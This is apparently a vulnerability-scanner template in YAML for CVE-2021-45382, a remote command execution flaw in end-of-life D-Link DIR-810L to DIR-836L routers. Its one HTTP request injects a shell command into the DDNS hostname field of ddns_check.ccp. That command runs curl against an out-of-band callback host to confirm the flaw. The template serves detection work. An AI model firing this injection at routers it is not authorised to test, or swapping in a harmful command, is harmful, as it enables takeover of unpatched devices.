52 lines
1.8 KiB
YAML
52 lines
1.8 KiB
YAML
id: CVE-2021-45382
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info:
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name: D-Link - Remote Command Execution
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author: king-alexander
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severity: critical
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description: |
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A Remote Command Execution (RCE) vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file
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remediation: |
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DIR-810L, DIR-820L, DIR-830L, DIR-826L, DIR-836L, all hardware revisions, have reached their End of Life ("EOL") /End of Service Life ("EOS") Life-Cycle and as such this issue will not be patched.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2021-45382
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- https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10264
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- https://github.com/doudoudedi/D-LINK_Command_Injection1/blob/main/D-LINK_Command_injection.md#poc
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2021-45382
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cwe-id: CWE-78
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epss-score: 0.94604
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epss-percentile: 0.99036
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cpe: cpe:2.3:o:dlink:dir-820l_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: dlink
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product: dir-820l_firmware
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tags: cve,cve2021,dlink,kev,rce
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variables:
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string1: "{{to_lower(rand_base(5))}}"
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string2: "{{to_lower(rand_base(6))}}"
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http:
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- method: POST
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path:
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- "{{BaseURL}}/ddns_check.ccp"
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body: "ccp_act=doCheck&ddnsHostName=;curl https://{{interactsh-url}};&ddnsUsername={{string1}}&ddnsPassword={{string2}}"
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- http
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- type: word
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part: interactsh_request
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words:
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- "User-Agent: curl"
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# digest: 4a0a00473045022045bfce0c3d4b583742b59cd5ac05b53e8d076d4c4d9fdcbb15df20c0796cc4e902210094fdfa5d3d0c148a5fd3c9077683ff1fb02c13ee0c2f16088cebfa5cd3424582:922c64590222798bb761d5b6d8e72950
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